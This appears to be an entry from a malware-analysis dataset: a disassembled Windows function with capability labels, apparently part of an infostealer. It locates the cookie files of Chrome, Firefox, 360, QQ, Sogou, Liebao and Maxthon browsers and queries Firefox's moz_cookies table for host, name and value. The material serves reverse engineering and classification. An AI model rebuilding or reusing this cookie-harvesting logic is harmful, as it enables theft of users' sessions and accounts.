Function at 0x4612ce
Capabilities:
Enumerate files on windows
Gather firefox profile information
Get common file path

Disassembly:
push 0x570
mov eax, 0x508468
call fcn.004dead8
xor ebx, ebx
mov esi, ecx
mov dword [ebp - 0x428], 0xf
mov dword [ebp - 0x42c], ebx
mov byte [ebp - 0x43c], bl
push 0x410
lea eax, [ebp - 0x420]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.004de430
add esp, 0xc
push ebx
push 0x1a
lea eax, [ebp - 0x420]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x420]
push str.360se6User_DataDefaultCookies
push eax
call fcn.004e3ca0
lea eax, [ebp - 0x420]
push eax
call fcn.004ddcc0
add esp, 0xc
push eax
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x43c]
call fcn.004023c8
push 0x140
lea eax, [ebp - 0x57c]
push ebx
push eax
call fcn.004de430
mov eax, dword [ebp - 0x43c]
add esp, 0xc
cmp dword [ebp - 0x428], 0x10
jae 0x4608af
lea eax, [ebp - 0x43c]
lea ecx, [ebp - 0x57c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4608e9
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x43c]
push eax
mov ecx, esi
call fcn.00460539
test eax, eax
jne 0x4608e9
lea eax, [ebp - 0x43c]
push eax
mov ecx, esi
call fcn.004613ed
push ebx
push 1
lea ecx, [ebp - 0x43c]
call fcn.0040172d
call fcn.004deb5b
ret
push 0x570
mov eax, 0x508468
call fcn.004dead8
xor ebx, ebx
mov esi, ecx
mov dword [ebp - 0x428], 0xf
mov dword [ebp - 0x42c], ebx
mov byte [ebp - 0x43c], bl
push 0x410
lea eax, [ebp - 0x420]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.004de430
add esp, 0xc
push ebx
push 0x1c
lea eax, [ebp - 0x420]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x420]
push str.GoogleChromeUser_DataDefaultCookies
push eax
call fcn.004e3ca0
lea eax, [ebp - 0x420]
push eax
call fcn.004ddcc0
add esp, 0xc
push eax
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x43c]
call fcn.004023c8
push 0x140
lea eax, [ebp - 0x57c]
push ebx
push eax
call fcn.004de430
mov eax, dword [ebp - 0x43c]
add esp, 0xc
cmp dword [ebp - 0x428], 0x10
jae 0x4609ac
lea eax, [ebp - 0x43c]
lea ecx, [ebp - 0x57c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4609e6
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x43c]
push eax
mov ecx, esi
call fcn.00460539
test eax, eax
jne 0x4609e6
lea eax, [ebp - 0x43c]
push eax
mov ecx, esi
call fcn.004613ed
push ebx
push 1
lea ecx, [ebp - 0x43c]
call fcn.0040172d
call fcn.004deb5b
ret
push 0x6b4
mov eax, 0x508435
call fcn.004dead8
xor ebx, ebx
mov dword [ebp - 0x6c0], ecx
mov dword [ebp - 0x428], 0xf
mov dword [ebp - 0x42c], ebx
mov byte [ebp - 0x43c], bl
push 0x410
lea eax, [ebp - 0x420]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.004de430
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
add esp, 0xc
push ebx
push 0x1a
lea eax, [ebp - 0x420]
push eax
push ebx
call esi
lea eax, [ebp - 0x420]
push str.TencentQQBrowserUser_DataDefaultCookies
push eax
call fcn.004e3ca0
lea eax, [ebp - 0x420]
push eax
call fcn.004ddcc0
add esp, 0xc
push eax
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x43c]
call fcn.004023c8
mov edi, 0x140
push edi
lea eax, [ebp - 0x57c]
push ebx
push eax
call fcn.004de430
mov eax, dword [ebp - 0x43c]
add esp, 0xc
cmp dword [ebp - 0x428], 0x10
jae 0x460ab0
lea eax, [ebp - 0x43c]
lea ecx, [ebp - 0x57c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x460b55
push 0x410
lea eax, [ebp - 0x420]
push ebx
push eax
call fcn.004de430
add esp, 0xc
push ebx
push 0x1c
lea eax, [ebp - 0x420]
push eax
push ebx
call esi
lea eax, [ebp - 0x420]
push str.TencentQQBrowserUser_DataDefaultCookies
push eax
call fcn.004e3ca0
lea eax, [ebp - 0x420]
push eax
call fcn.004ddcc0
add esp, 0xc
push eax
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x43c]
call fcn.004023c8
push edi
lea eax, [ebp - 0x6bc]
push ebx
push eax
call fcn.004de430
mov eax, dword [ebp - 0x43c]
add esp, 0xc
cmp dword [ebp - 0x428], 0x10
jae 0x460b42
lea eax, [ebp - 0x43c]
lea ecx, [ebp - 0x6bc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x460b84
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 0x6c0]
lea eax, [ebp - 0x43c]
push eax
call fcn.00460539
test eax, eax
jne 0x460b84
mov ecx, dword [ebp - 0x6c0]
lea eax, [ebp - 0x43c]
push eax
call fcn.004613ed
push ebx
push 1
lea ecx, [ebp - 0x43c]
call fcn.0040172d
call fcn.004deb5b
ret
push 0x570
mov eax, 0x508468
call fcn.004dead8
xor ebx, ebx
mov esi, ecx
mov dword [ebp - 0x428], 0xf
mov dword [ebp - 0x42c], ebx
mov byte [ebp - 0x43c], bl
push 0x410
lea eax, [ebp - 0x420]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.004de430
add esp, 0xc
push ebx
push 0x1a
lea eax, [ebp - 0x420]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x420]
push str.SogouExplorerWebkitDefaultCookies
push eax
call fcn.004e3ca0
lea eax, [ebp - 0x420]
push eax
call fcn.004ddcc0
add esp, 0xc
push eax
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x43c]
call fcn.004023c8
push 0x140
lea eax, [ebp - 0x57c]
push ebx
push eax
call fcn.004de430
mov eax, dword [ebp - 0x43c]
add esp, 0xc
cmp dword [ebp - 0x428], 0x10
jae 0x460c47
lea eax, [ebp - 0x43c]
lea ecx, [ebp - 0x57c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x460c81
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x43c]
push eax
mov ecx, esi
call fcn.00460539
test eax, eax
jne 0x460c81
lea eax, [ebp - 0x43c]
push eax
mov ecx, esi
call fcn.004613ed
push ebx
push 1
lea ecx, [ebp - 0x43c]
call fcn.0040172d
call fcn.004deb5b
ret
push 0x70c
mov eax, 0x5084bc
call fcn.004dead8
xor ebx, ebx
mov dword [ebp - 0x450], 0xf
mov dword [ebp - 0x454], ebx
mov byte [ebp - 0x464], bl
push 0x400
lea eax, [ebp - 0x410]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.004de430
add esp, 0xc
push ebx
push 0x1a
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x480]
call fcn.00402650
mov edi, str.MozillaFirefoxProfiles_
push edi
mov byte [ebp - 4], 1
call fcn.004ddcc0
pop ecx
push eax
push edi
lea ecx, [ebp - 0x480]
call fcn.00401f66
lea eax, [ebp - 0x410]
push str.MozillaFirefoxProfiles.
push eax
call fcn.004e3ca0
mov esi, 0x140
push esi
lea eax, [ebp - 0x5c0]
push ebx
push eax
call fcn.004de430
add esp, 0x14
lea eax, [ebp - 0x5c0]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x708], eax
cmp eax, 0xffffffff
je 0x460f78
xor eax, eax
lea edi, [ebp - 0x714]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, str.cookies.sqlite
lea eax, [ebp - 0x594]
push 0x51bca4
push eax
call fcn.004dee10
pop ecx
pop ecx
test eax, eax
je 0x460eb6
lea eax, [ebp - 0x594]
push 0x51bca0
push eax
call fcn.004dee10
pop ecx
pop ecx
test eax, eax
je 0x460eb6
test byte [ebp - 0x5c0], 0x10
je 0x460eb6
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x480]
push eax
lea ecx, [ebp - 0x42c]
mov dword [ebp - 0x418], 0xf
mov dword [ebp - 0x41c], ebx
mov byte [ebp - 0x42c], bl
call fcn.00401fff
lea eax, [ebp - 0x594]
push eax
mov byte [ebp - 4], 2
call fcn.004ddcc0
pop ecx
push eax
lea eax, [ebp - 0x594]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00401f66
push edi
call fcn.004ddcc0
pop ecx
push eax
push edi
lea ecx, [ebp - 0x42c]
call fcn.00401f66
push esi
lea eax, [ebp - 0x700]
push ebx
push eax
call fcn.004de430
mov eax, dword [ebp - 0x42c]
add esp, 0xc
cmp dword [ebp - 0x418], 0x10
jae 0x460e39
lea eax, [ebp - 0x42c]
lea ecx, [ebp - 0x700]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x70c], eax
cmp eax, 0xffffffff
je 0x460ea4
lea eax, [ebp - 0x6ec]
push eax
lea eax, [ebp - 0x714]
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
cmp eax, 0xffffffff
jne 0x460e98
push 8
lea eax, [ebp - 0x6ec]
push eax
lea eax, [ebp - 0x714]
push eax
call fcn.004ddd50
add esp, 0xc
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x464]
call fcn.00401fff
push dword [ebp - 0x70c]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
push 1
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 1
call fcn.0040172d
lea eax, [ebp - 0x5c0]
push eax
push dword [ebp - 0x708]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x460d6d
push dword [ebp - 0x708]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 0x434], 0xf
mov dword [ebp - 0x438], ebx
mov byte [ebp - 0x448], bl
lea eax, [ebp - 0x448]
push eax
lea eax, [ebp - 0x464]
push eax
mov byte [ebp - 4], 3
call fcn.004513d7
pop ecx
pop ecx
test al, al
je 0x460f6a
cmp dword [ebp - 0x434], 0x10
mov eax, dword [ebp - 0x448]
mov dword [ebp - 0x704], ebx
jae 0x460f2b
lea eax, [ebp - 0x448]
lea ecx, [ebp - 0x704]
push ecx
push eax
call fcn.004a2e4e
pop ecx
pop ecx
test eax, eax
jne 0x460f5e
lea eax, [ebp - 0x718]
push eax
push ebx
push 0x46136e
push str.select_host__name__value_from_moz_cookies
push dword [ebp - 0x704]
call fcn.004acd12
add esp, 0x14
push dword [ebp - 0x704]
call fcn.004a2ac6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x448]
call fcn.0040172d
push ebx
push 1
lea ecx, [ebp - 0x480]
call fcn.0040172d
push ebx
push 1
lea ecx, [ebp - 0x464]
call fcn.0040172d
call fcn.004deb5b
ret
push 0x6ec
mov eax, 0x508505
call fcn.004dead8
xor ebx, ebx
mov dword [ebp - 0x6ec], ecx
mov dword [ebp - 0x450], 0xf
mov dword [ebp - 0x454], ebx
mov byte [ebp - 0x464], bl
push 0x400
lea eax, [ebp - 0x410]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.004de430
mov edi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
add esp, 0xc
push ebx
push 0x1a
lea eax, [ebp - 0x410]
push eax
push ebx
call edi
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00402650
mov esi, str.liebaoUser_Data_
push esi
mov byte [ebp - 4], 1
call fcn.004ddcc0
pop ecx
push eax
push esi
lea ecx, [ebp - 0x42c]
call fcn.00401f66
cmp dword [ebp - 0x418], 0x10
mov eax, dword [ebp - 0x42c]
jae 0x461036
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x4610bb
push 0x400
lea eax, [ebp - 0x410]
push ebx
push eax
call fcn.004de430
add esp, 0xc
push ebx
push 0x1c
lea eax, [ebp - 0x410]
push eax
push ebx
call edi
lea eax, [ebp - 0x410]
push eax
call fcn.004ddcc0
pop ecx
push eax
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x42c]
call fcn.004023c8
push esi
call fcn.004ddcc0
pop ecx
push eax
push esi
lea ecx, [ebp - 0x42c]
call fcn.00401f66
cmp dword [ebp - 0x418], 0x10
mov eax, dword [ebp - 0x42c]
jae 0x4610ac
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x4612ac
lea eax, [ebp - 0x410]
push str.liebaoUser_Data.
push eax
call fcn.004e3ca0
mov esi, 0x140
push esi
lea eax, [ebp - 0x5a4]
push ebx
push eax
call fcn.004de430
add esp, 0x14
lea eax, [ebp - 0x5a4]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x6e8], eax
cmp eax, 0xffffffff
je 0x4612ac
xor eax, eax
lea edi, [ebp - 0x6f8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, str.Cookies
lea eax, [ebp - 0x578]
push 0x51bca4
push eax
call fcn.004dee10
pop ecx
pop ecx
test eax, eax
je 0x46125d
lea eax, [ebp - 0x578]
push 0x51bca0
push eax
call fcn.004dee10
pop ecx
pop ecx
test eax, eax
je 0x46125d
test byte [ebp - 0x5a4], 0x10
je 0x46125d
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x448]
mov dword [ebp - 0x434], 0xf
mov dword [ebp - 0x438], ebx
mov byte [ebp - 0x448], bl
call fcn.00401fff
lea eax, [ebp - 0x578]
push eax
mov byte [ebp - 4], 2
call fcn.004ddcc0
pop ecx
push eax
lea eax, [ebp - 0x578]
push eax
lea ecx, [ebp - 0x448]
call fcn.00401f66
push edi
call fcn.004ddcc0
pop ecx
push eax
push edi
lea ecx, [ebp - 0x448]
call fcn.00401f66
push esi
lea eax, [ebp - 0x6e4]
push ebx
push eax
call fcn.004de430
mov eax, dword [ebp - 0x448]
add esp, 0xc
cmp dword [ebp - 0x434], 0x10
jae 0x4611e0
lea eax, [ebp - 0x448]
lea ecx, [ebp - 0x6e4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x6f0], eax
cmp eax, 0xffffffff
je 0x46124b
lea eax, [ebp - 0x6d0]
push eax
lea eax, [ebp - 0x6f8]
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
cmp eax, 0xffffffff
jne 0x46123f
push 8
lea eax, [ebp - 0x6d0]
push eax
lea eax, [ebp - 0x6f8]
push eax
call fcn.004ddd50
add esp, 0xc
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x448]
push eax
lea ecx, [ebp - 0x464]
call fcn.00401fff
push dword [ebp - 0x6f0]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
push 1
lea ecx, [ebp - 0x448]
mov byte [ebp - 4], 1
call fcn.0040172d
lea eax, [ebp - 0x5a4]
push eax
push dword [ebp - 0x6e8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x461114
push dword [ebp - 0x6e8]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 0x6ec]
lea eax, [ebp - 0x464]
push eax
call fcn.00460539
test eax, eax
jne 0x4612ac
mov ecx, dword [ebp - 0x6ec]
lea eax, [ebp - 0x464]
push eax
call fcn.004613ed
push ebx
push 1
lea ecx, [ebp - 0x42c]
call fcn.0040172d
push ebx
push 1
lea ecx, [ebp - 0x464]
call fcn.0040172d
call fcn.004deb5b
ret
push esi
mov esi, ecx
call fcn.004600dc
mov dword [esi + 4], eax
dec eax
je 0x46131e
dec eax
je 0x461316
dec eax
je 0x46130e
dec eax
je 0x461306
dec eax
je 0x4612fe
dec eax
je 0x4612f6
dec eax
jne 0x461326
mov ecx, esi
pop esi
jmp 0x461498
mov ecx, esi
pop esi
jmp 0x460f9a
mov ecx, esi
pop esi
jmp 0x460c95
mov ecx, esi
pop esi
jmp 0x460b98
mov ecx, esi
pop esi
jmp 0x4609fa
mov ecx, esi
pop esi
jmp 0x4608fd
mov ecx, esi
pop esi
jmp 0x460800
pop esi
ret
push 0x6ec
mov eax, 0x50858b
call fcn.004dead8
mov dword [ebp - 0x6ec], ecx
xor ebx, ebx
mov dword [ebp - 0x434], 0xf
mov dword [ebp - 0x438], ebx
mov byte [ebp - 0x448], bl
push 0x400
lea eax, [ebp - 0x410]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.004de430
add esp, 0xc
push ebx
push 0x1a
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x464]
call fcn.00402650
mov edi, str.Maxthon3Users_
push edi
mov byte [ebp - 4], 1
call fcn.004ddcc0
pop ecx
push eax
push edi
lea ecx, [ebp - 0x464]
call fcn.00401f66
lea eax, [ebp - 0x410]
push str.Maxthon3Users.
push eax
call fcn.004e3ca0
push 0x140
lea eax, [ebp - 0x5a4]
push ebx
push eax
call fcn.004de430
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
add esp, 0x14
lea eax, [ebp - 0x5a4]
push eax
lea eax, [ebp - 0x410]
push eax
call esi
mov dword [ebp - 0x6f0], eax
cmp eax, 0xffffffff
je 0x461789
xor eax, eax
lea edi, [ebp - 0x6f8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, str.CookieCookie.dat
lea eax, [ebp - 0x578]
push 0x51bca4
push eax
call fcn.004dee10
pop ecx
pop ecx
test eax, eax
je 0x46173a
lea eax, [ebp - 0x578]
push 0x51bca0
push eax
call fcn.004dee10
pop ecx
pop ecx
test eax, eax
je 0x46173a
test byte [ebp - 0x5a4], 0x10
je 0x46173a
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x464]
push eax
lea ecx, [ebp - 0x42c]
mov dword [ebp - 0x418], 0xf
mov dword [ebp - 0x41c], ebx
mov byte [ebp - 0x42c], bl
call fcn.00401fff
lea eax, [ebp - 0x578]
push eax
mov byte [ebp - 4], 2
call fcn.004ddcc0
pop ecx
push eax
lea eax, [ebp - 0x578]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00401f66
push edi
call fcn.004ddcc0
pop ecx
push eax
push edi
lea ecx, [ebp - 0x42c]
call fcn.00401f66
push 0x140
lea eax, [ebp - 0x6e4]
push ebx
push eax
call fcn.004de430
mov eax, dword [ebp - 0x42c]
add esp, 0xc
cmp dword [ebp - 0x418], 0x10
jae 0x461647
lea eax, [ebp - 0x42c]
lea ecx, [ebp - 0x6e4]
push ecx
push eax
call esi
mov dword [ebp - 0x6e8], eax
cmp eax, 0xffffffff
jne 0x4616d6
push eax
push ebx
lea eax, [ebp - 0x464]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00401fff
lea eax, [ebp - 0x578]
push eax
call fcn.004ddcc0
pop ecx
push eax
lea eax, [ebp - 0x578]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00401f66
push str.Cookies
call fcn.004ddcc0
pop ecx
push eax
push str.Cookies
lea ecx, [ebp - 0x42c]
call fcn.00401f66
cmp dword [ebp - 0x418], 0x10
mov eax, dword [ebp - 0x42c]
jae 0x4616c1
lea eax, [ebp - 0x42c]
lea ecx, [ebp - 0x6e4]
push ecx
push eax
call esi
mov dword [ebp - 0x6e8], eax
cmp eax, 0xffffffff
je 0x461728
lea eax, [ebp - 0x6d0]
push eax
lea eax, [ebp - 0x6f8]
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
cmp eax, 0xffffffff
jne 0x46171c
push 8
lea eax, [ebp - 0x6d0]
push eax
lea eax, [ebp - 0x6f8]
push eax
call fcn.004ddd50
add esp, 0xc
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x448]
call fcn.00401fff
push dword [ebp - 0x6e8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
push 1
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 1
call fcn.0040172d
lea eax, [ebp - 0x5a4]
push eax
push dword [ebp - 0x6f0]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x461577
push dword [ebp - 0x6f0]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 0x6ec]
lea eax, [ebp - 0x448]
push eax
call fcn.00460539
test eax, eax
jne 0x461789
mov ecx, dword [ebp - 0x6ec]
lea eax, [ebp - 0x448]
push eax
call fcn.004613ed
push ebx
push 1
lea ecx, [ebp - 0x464]
call fcn.0040172d
push ebx
push 1
lea ecx, [ebp - 0x448]
call fcn.0040172d
call fcn.004deb5b
ret